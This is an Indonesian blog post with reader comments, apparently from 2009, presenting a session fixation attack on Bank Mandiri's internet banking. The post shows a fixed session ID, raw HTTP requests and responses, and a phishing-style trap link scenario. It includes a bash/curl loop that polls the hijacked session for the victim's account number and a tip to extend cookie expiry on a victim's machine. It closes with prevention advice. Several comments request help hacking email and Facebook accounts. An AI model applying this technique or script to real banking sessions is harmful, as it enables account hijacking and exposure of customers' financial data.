in Advisory, Web Security

Hacking Mandiri Internet Banking dengan Session Fixation

Dalam artikel ini saya akan menggunakan jurus session fixation untuk membajak session internet banking Mandiri yang merupakan bank terbesar di tanah air. Detil mengenai session fixation attack bisa dibaca di artikel saya sebelumnya yang berjudul mengenal session fixation attack.

Session ID Bank Mandiri Internet Banking

Internet banking mandiri menggunakan sessionid yang disimpan dalam cookie dengan nama JSESSIONID. Sessionid ini sangat panjang dan acak, jadi tidak mungkin memakai jurus prediction untuk mendapatkan sessionid. Contoh sessionid bank mandiri adalah:

 JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Fixate sessionid yang dipilih sendiri dengan query string

Untuk memastikan apakah internet banking mandiri bisa diserang dengan session fixation, saya akan coba memasukkan query string JSESSIONID berisi string yang saya pilih sendiri. Saya coba dengan query string JSESSIONID=01234567890. Berikut adalah request dan response yang terjadi.

https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=01234567890

GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1
Host: ib.bankmandiri.co.id
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 23:28:58 GMT
Pragma: no-cache
Content-Encoding: gzip
Content-Length: 3822
Content-Type: text/html
Expires: -1
Transfer-Encoding: Chunked
Set-Cookie: JSESSIONID=JHB9fR0rxOD53jgT3h1x57kAmFAqo8s2fp28UZvDxs2zLupl0s1Q!568454685!-1062708981!7668!7002; path=/
Cache-Control: no-cache

Ternyata usulan saya ditolak mentah-mentah oleh server, hal ini terlihat dari responsenya yang memberikan sessionid dalam bentuk cookie pada baris ke-21. Dari response tersebut juga bisa diambil kesimpulan bahwa server bank mandiri lebih suka memakai cookie sehingga bila ada client yang memberikan sessionid dalam query string, dibalas dengan header Set-Cookie. Ini pertanda bagus karena cookie yang diberikan pada korban akan memudahkan serangan saya.

Fixate sessionid yang dibangkitkan server dengan query string

Oke, setelah gagal mengusulkan sessionid sembarangan dengan query string. Saya akan coba lagi dengan sessionid yang dibangkitkan server. Untuk itu sebelumnya saya harus meminta server memberikan sessionid. Dalam contoh ini saya akan gunakan sessionid yang sudah saya minta sebelumnya, yaitu:

JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

Sessionid ini akan saya kirimkan dalam request dalam bentuk query string. Sebelumnya cookie yang ada harus dihapus karena cookie memiliki prioritas lebih dibanding query string dalam hal sessionid. Berikut request dan response yang terjadi.

https://ib.bankmandiri.co.id/retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

GET /retail/Login.do?action=form&JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002 HTTP/1.1
Host: ib.bankmandiri.co.id
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; id; rv:1.9.0.5) Gecko/2008120122 YFF3 Firefox/3.0.5 ImageShackToolbar/5.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: id,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive

HTTP/1.x 200 OK
Date: Mon, 02 Feb 2009 23:37:42 GMT
Pragma: no-cache
Content-Encoding: gzip
Content-Length: 3824
Content-Type: text/html
Expires: -1
Transfer-Encoding: Chunked
Set-Cookie: JSESSIONID=JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002; path=/
Cache-Control: no-cache

Hore berhasil. Pada response server ternyata menyetujui untuk memakai sessionid yang saya usulkan melalui query string. Tidak hanya itu, server malah membantu saya dengan membuat cookie dengan isi sessionid usulan saya. Jadi pada request berikutnya saya tidak perlu menambahkan query string karena sudah otomatis cookie terkirimkan. Ini adalah kondisi yang sempurna untuk serangan fixation attack karena serangan bisa dilakukan secara remote dan session cookie akan tercipta otomatis di browser korban.

Skenario Serangan

Skenario serangan menggunakan jurus session fixation pada Mandiri Internet banking ini adalah:

    1. Attacker mengirimkan link kepada calon korban.

Klik Dong

Perhatikan link tersebut baik-baik. Link tersebut tidak tampak mencurigakan seperti phishing link. Pengguna yang teliti akan memeriksa link tersebut:

      • Apakah domainnya benar? Benar! Domain link tersebut ib.bankmandiri.co.id
      • Apakah pakai https? Benar! URL tersebut diawali dengan https
      • Apakah pathnya benar? Benar! Path URL tersebut adalah /retail/Login.do

Karena semuanya benar, calon korban akan yakin bahwa itu bukan link phishing berisi fake login page. Padahal sebenarnya link itu mengandung jebakan sessionid fixation. Dan sayangnya tidak pernah ada informasi tentang bahaya ini dari bank yang bersangkutan.

    1. Korban mengklik link tersebut.

Pada saat korban mengklik link tersebut, maka korban telah terjebak menggunakan sessionid yang sudah disiapkan oleh attacker. Pada browser korban akan tercipta sebuah cookie JSESSIONID yang berisi sessionid. Sehingga semua request dari browser korban ke bank mandiri internet banking selalu menggunakan sessionid tersebut.

Untuk coba-coba silakan anda buka link tersebut, kemudian periksa cookie anda. Apakah benar ada cookie berisi sessionid yang isinya sama dengan yang attacker inginkan?

    1. Korban login

Setelah korban membuka halaman login, selanjutnya korban akan memasukkan username dan passwordnya. Bila login sukses, maka korban bisa mengakses accountnya, dan begitu pula attacker karena keduanya berbagi sessionid yang sama.

    1. Attacker mengakses account korban

Karena korban dan attacker menggunakan sessionid yang sama, server menganggap attacker dan korban adalah orang yang sama, yaitu pemegang account yang sah. Nun jauh di sana, attacker selalu memeriksa status session yang sessionidnya diberikan pada korban. Begitu korban berhasil login, pada saat itu juga attacker akan mengakses account korban.

Bahayanya serangan ini adalah serangan ini bisa memakan banyak korban. Ingat bahwa setelah korban selesai memakai accountnya, dia akan logout. Pada titik ini attacker tidak bisa lagi mengakses account korban. Tapi jangan lupa bahwa cookie berisi sessionid masih ada di browser korban, sehingga setiap kali ada request dari browser itu akan menggunakan sessionid yang sudah ditentukan attacker. Bila ada korban lain memakai browser itu dan login ke mandiri juga, maka orang itu juga akan menjadi korban.

Session Status Checker

Agar session tidak expired, attacker harus melakukan request terus menerus dengan sessionid itu, dengan begini server akan berpikir bahwa sessionid tersebut masih aktif dipakai. Di komputer lain saya telah membuat script sederhana untuk memeriksa status session dengan sessionid tertentu, statusnay apakah “Dead” (tidak ada yang login) atau “Alive” (sedang dipakai orang dan belum logout).

#!/bin/bash
while [ true ] ; do
NOREK=`curl -s "https://ib.bankmandiri.co.id/retail/Welcome.do?action=result" -b kue.txt |grep '
[0-9]*

‘|cut -f2 -d”>”|cut -f1 -d”<“` if [ -z “$NOREK” ] then echo “Dead” else echo “Alive, Norek: $NOREK” fi sleep 10 done

Script tersebut memerlukan cookie yang disimpan dalam file kue.txt. File tersebut menyimpan cookie yang akan dikirim pada setiap request. File tersebut mengikuti format dari curl. Agar mudah, sebelumnya saya sengaja meminta cookie dengan curl ke ib.bankmandiri.co.id dan menyimpannya di file kue.txt, kemudian file tersebut saya edit dengan mengganti sessionidnya dengan sessionid yang saya target. Saya memasukkan sessionid yang sama dengan yang saya pakai dalam contoh-contoh sebelumnya di atas, yaitu JHAb6Q3Q1BGE5uCwNMfTDU1yxfxV9vhMODrP0krLdbem8FvqPA7l!568454685!-1062708981!7668!7002

mandiri check session

mandiri check session

Perhatikan pada gambar di atas, script saya akan looping terus untuk mengirim request dengan cookie berisi sessionid. Bila halaman “/retail/Welcome.do?action=result” berisi “Nomor Rekening”, berarti sessionid tersebut sedang dipakai oleh seseorang.

Perhatikan juga bahwa server bank mandiri tidak peduli dengan fakta bahwa ada 2 request dari ip address dan user agent yang berbeda. Script tersebut dijalankan di Linux dengan IP address yang berbeda dengan request yang dilakukan dari browser korban. Karena request dilakukan dengan curl, maka user agent headernya pun berbeda dengan browser korban. Tapi server tidak peduli dengan semua perbedaan itu, selama request yang datang membawa cookie berisi sessionid yang benar, maka dia berhak mendapatkan akses.

Di internet, siapapun yang membawa sessionid anda, akan menjadi anda!

Pada gambar tersebut juga terlihat bahwa korban bisa login atau logout berkali-kali, namun tetap menjadi korban attacker. Hal ini terjadi karena cookie berisi sessionid masih tetap ada di browser korban walaupun korban sudah logout. Jadi kalau ada yang login lagi, maka dia juga akan memakai sessionid yang sama.

Modifikasi Cookie Expired Date secara Lokal

modified expired date

modified expired date

Kelemahan dari serangan remote di atas adalah batas waktu cookie adalah hingga browser ditutup. Begitu browser ditutup, cookie yang expired akan dihapus. Bila attacker memiliki akses fisik, maka akibat serangannya akan semakin dahsyat. Attacker akan memodifikasi tanggal expired session cookie pada browser korban. Tanggal expirednya akan diubah menjadi tahun 2099 misalnya, sehingga cookie tersebut akan tetap ada sampai 2099. Dengan begini semua orang yang login dengan browser itu di komputer itu akan menjadi korban attacker nun jauh di sana yang selalu sabar menanti dengan script session checkernya.

Tips Pencegahan

Sederhana saja cara untuk mencegah agar tidak terkena jebakan batman dari attacker. Sebelum login ke halaman internet banking mandiri, hapus semua cookie yang ada dan query string yang mengandung sessionid. Dengan cara ini sessionid yang dipakai adalah sessionid yang diberi oleh server yang tidak diketahui attacker.

Kesimpulan

Saya telah menunjukkan proof of concept serangan session fixation pada internet banking mandiri. Serangan ini sangat berbahaya karena bisa diserang dari jarak jauh dan korbannya tidak hanya satu orang, tapi semua orang yang login di browser dan komputer yang sama. Sayangnya serangan ini tidak setenar SQL injection atau XSS, padahal serangan ini sama berbahayanya sehingga orang banyak yang tidak aware dengan ancaman ini.

Serangan ini juga tipe serangan yang tidak bisa dicegah dengan https karena serangan ini berada di layer aplikasi. Jadi logic aplikasinya yang harus diperbaiki, bukan pada level protokol https.

Write a Comment

Comment

61 Comments

  1. Nice post, cuma saya belum ngeh banget. OK, seandainya attacker berhasil login, dia bisa ngapain ? Toh dia nggak punya dynamic pin (Token PIN Mandiri).
    Thanks.

  2. @newbie
    walaupun hanya bisa “read only” (lihat saldo dan history transaksi), menurut saya itu suatu kebocoran informasi yang luar biasa. tidak ada orang yang senang data transaksi di rekeningnya bisa dilihat orang lain, setuju kan?

  3. info yang bagus..bos…..
    ini artikel yang menarik..bagi perbankan yang melayani para nasabahnya, agar lebih berhati-hati…

    ng ada program yang sempurna..semuanya…pasti ada kelemahannya…..:D:D

    Salam kenal….:):)

  4. @e-frame
    wah kalo token ini agak berat, kalo ga salah dia pakai public key kriptografi. Cara lain sih pakai mitm attack (kalau usernya bego certificate palsu juga dilolosin), tokennya dicegat ditengah jalan dipake buat transaksi lain.

  5. Iinfonya bagus banget, tapi saya masih bingung nih (maklum gaptek), kalo kita sudah bisa maksain orang make session id yang kita kasih, terus gimana caranya kita paki session id tersebut, apakah pakai browser biasa atau harus paki tool khusus, kalo pakai tool, dimana bisa dapetinnya

    thanks

  6. Mas Rizki infonya bagus2, hebat!
    Virky punya saran nih, gimana kalau sebelum melakukan “aksi hebat” mas Rizki memberi saran atau pendapat atau mengingatkan untuk mengamankan diri kita dulu..mungkin dengan tunnel atau yg lainnya.

    Anyway, postingan-postingan ini bermanfaat.. πŸ™‚

  7. Yipiiee..sama-sama mas Rizki. Soalnya khawatir aja, tiba-tiba langsung melakukan praktek tapi blm punya pengamanan untuk diri sendiri. Anyway, terus update blog ini ya, soalnya Virky “pantengin” terus nih. Semangat!

  8. GET /retail/Login.do?action=form&JSESSIONID=01234567890 HTTP/1.1

    kalo di Login.do nya dipasangin checking
    if(request.getMethod().intern()!=”POST”) {
    // do the thing..
    } else {
    mapping.forward(ILLEGAL_ACCESS_PAGE)
    }

    apa itu udah cukup om untuk mendenied cara ini? toh di Servlet, untuk make JSESSIONID harus diambil lewat request.getHeader(“JSESSIONID”).. paling-paling tinggal menghadapi cara gimana gak terjadi Injecting Code via Http Header?

  9. eh, salah.. maksudnya

    if(request.getMethod().intern()==”POST”) {
    // do the thing..
    } else { // the method is not POST, so denied this request…
    mapping.forward(ILLEGAL_ACCESS_PAGE)
    }

  10. @tintin
    menurutku ini bukan soal GET atau POST, sebab ketika user membuka halaman login requestnya pasti GET, baru ketika submit user dan password digunakan POST. Jadi kalau request GET di-reject, user jadi ngga bisa buka halaman itu sama sekali.

    Cara untuk mencegah session fixation ada banyak, antara lain: regenerate sessid on each request, accept only server generated sessid dsb. lebih lengkap lagi bisa dilihat di http://en.wikipedia.org/wiki/Session_fixation

    Thanks

  11. iya sih. POST dan GET hanya akan memperlambat reconnaissance doang, preventifnya tetep di sisi menjaga session. Sebenarnya JSP itu udah lumayan bisa diandalkan untuk menjaga sesi. Selain cookie, juga ada Attribute yang cycle of lifenya cuma satu kali request doang…

    Kalo diliat-liat sih Bank Mandiri sudah cukup mikirin sampe situ, kayak gini juga dihandle oleh ServletActionnya Login.do

    ————–

    Mandiri E-Banking – System Error

    ————-

    btw, thanks for info… laen kali gw undang deh untuk ngutak-ngatik server gw πŸ™‚

  12. di strip-off ye..

    [html]
    [head]
    [title]Mandiri E-Banking – System Error[/title]
    [meta name=”PRAGMA” content=”no-cache”]
    [meta name=”EXPIRES” content=”0″]
    [link rel=”stylesheet” href=”./stylesheet.css” type=”text/css”]
    [script language=”JavaScript”]
    [!–
    //If someone else tries to display this page within a frame, break out.
    window.open (“../retail/common/error/userNotAuthorized_error.jsp”,”_top”);
    //–]
    [/script]
    [/head]
    [/html]

  13. @tintin
    aku udah agak lupa JSP nih πŸ˜€ tapi kayaknya secara default session management JSP rentan session fixation ini, sama dengan PHP yang rentan juga. Pencegahan session fixation ini mesti ditambahkan oleh programmernya agar server jangan sampai bisa “dihipnosis” oleh client untuk mau memakai sessionid yang dikirim lewat cookie/query string.

    pada klikbca, kalau kita coba hipnosis dia untuk mau pakai sessid kita lewat query string/cookie akan ditolak, selalu dijawab dengan set-cookie yang berisi session id yang di-generate sendiri oleh server.

    selain itu mestinya sessionid di-“bind” ke IP address dan user agent client yang pertama kali login, jadi bila ada akses dari ip dan user agent lain, walaupun dia membawa session id yang benar, tetap harus ditolak.

  14. @Rizki Wicaksono
    bisanya cuma JSP om. btw, e-biz istrimu pake PHP ya? udah aman blom tuh shopping cartnya? πŸ˜‰

    gw sih untungnya ngembangin sistem yg cuma lewat VPN, gak se-open public internet service. Mungkin gw mo request dibahas nih: “menjebol VPN!” πŸ˜€ hehehe.. gimana, ki? bisa dimulai dari VPNnya Telkom kan? >:)

  15. eh, ini brarti si attacker hanya bisa lihat saat si korban login ya?
    kalo si korban ga login, attacker ga bisa liat?

  16. @kaka
    that’s right, exactly! ketika korban login, session dia aktif, dan attacker menguasai penuh session itu. tidak butuh waktu lama kok, bilapun korban hanya login 2 menit, itu sudah lebih dari cukup bagi attacker untuk berbuat sesuatu yang berbahaya dengan account korban. karena attacker memakai script untuk berbuat sesuatu di account korban, bukan manual,jadi semuanya dilakukan dengan sangat cepat.

  17. Wuih Keren yaa, Mas Kiki tuh emang T O Pe banget, tapi duuuhhh banyak banget yang aku masih ngga ngerti huehehehe

  18. Wah, mas rizky…

    Nyesel saya baru baca situs ini sekarang…:D

    Udah lama gak visit jasakom, ternyata saya menemukan pengganti..:)

  19. dibikin simple aja mas riz…. saya binguuung… mulainya,,, [email protected] oya, hacking bwt password yahoo / gmail ada ga?? masalahnya bca n mandiri biasa confirm ke e-mail gratisan kyk itu… tq.

  20. artikel bagus tapi gimana caranya buat orang yang gak ngeh bahasa scrip buat memahaminya… and buatnya di mana… kasih tutornya dong….
    salam kenal…

  21. hack FB bisa gak bang??
    minim tAu psswrd KORBAN..modal email bang??
    pliss..dipikirkan, untuk amal soalnya..
    temen gw ada yang dihancurin FBnya, maka gw pengen bantu dia,
    accept my request ,bang…

  22. udah ngasi tau adminnya IB bank Mandiri belum?

    kalo emang belum, kayaknya lebih bijaksana bila artikel ini tidak dipublish dulu. bila memang sudah diberitahu ke Bank Mandiri, dan sudah diperbaiki kelemahan itu oleh pihak Bank Mandiri, silakan dipublish artikel ini..

    sekedar saran, sih. dan rasanya cara seperti ini lebih keren. πŸ˜€

  23. wew… knp jd pada takut. biarpun dah bs login di bankmandiri.co.id, paling cuma bisa cek mutasi, cek saldo doank. klo ada yg kebobolan username n pass bankmandiri.co.id, ga usah panik, itung2 pamerin saldo ke orng lain lah. hehe! intinya ga bakalan bisa di colong saldonya, slama TOKEN PIN nya masih ditangan kita. yg akhr2 ini lg marak di tv itu, cuma kasus pembobolan lewat ATM yg PIN nya dicuri pake hidden cam. bukan lewat internet !!! ada salah satu tv yg blng klo pembobolan itu lwt internet banking, nah ini wartawannya sok tau deh. hahaha! buat yang lain… klo mo ambil duit di ATM harus lbh hati2 n teliti, biasane hidden cam dipasang di box brosur2 iklan ma di mesin ATM nya. klo bs jgn ambil duit di ATM yg kurang pengawasan dr security/satpam bank nya. hidden cam yg ada di ATM terbagi menjadi dua: pertama, hidden cam asli punya pihak bank, kedua hiddem cam punya scammers. nah waspadailah hidden cam punya scammers yg bisa merekam data ATM n PIN kta. WASPADALAH… WASPADALAH… hehe

  24. salam kenal mas rizki

    mo tanya mas, gmn caranya download histori transaksi bank mandiri melalui /query string dng user dan passw, dari tgl 1 s/d 15 misalnya

    terima kasih.

  25. sopo bilang Token PIN gak bisa di bobol, tak perlu token pin, yg pentingkan kode yang diberikan oleh token pada saat kita melakukan transfer ke rek tertentu, kita diminta memasukkan sejumlah angka, coba deh perhatikan, angka tersebut adalah no rekening tujuan, itu artinya token siapapun boleh dipakai, kan cuma butuh engkripsi kode dari token berdasarkan no rekening tersebut.

  26. mas,,mw nanya nh..
    kn sya lupa password internet banking mandiri sya,,
    gmn cra dpt’in password’y lg,,sya udh nyoba ngirim email ke cust. service’y mandiri,,tp gk dblz2..

Webmentions

  • Rentannya e-Banking dan Pencegahan/Penanganan Pertamanya | PULUNG WASESA BAYU AJI ( plgaji / plg aji ) dalam Kisah April 29, 2011

    […] Pertama, saya akan menuliskan tindakan pencegahan pertamanya : 1. Sederhana saja cara untuk mencegah agar tidak terkena jebakan batman dari attacker. Sebelum login ke halaman internet banking mandiri, hapus semua cookie yang ada dan query string yang mengandung sessionid. Dengan cara ini sessionid yang dipakai adalah sessionid yang diberi oleh server yang tidak diketahui attacker. narasumber :http://www.ilmuhacking.com/web-security/hacking-mandiri-internet-banking-dengan-session-fixation/ […]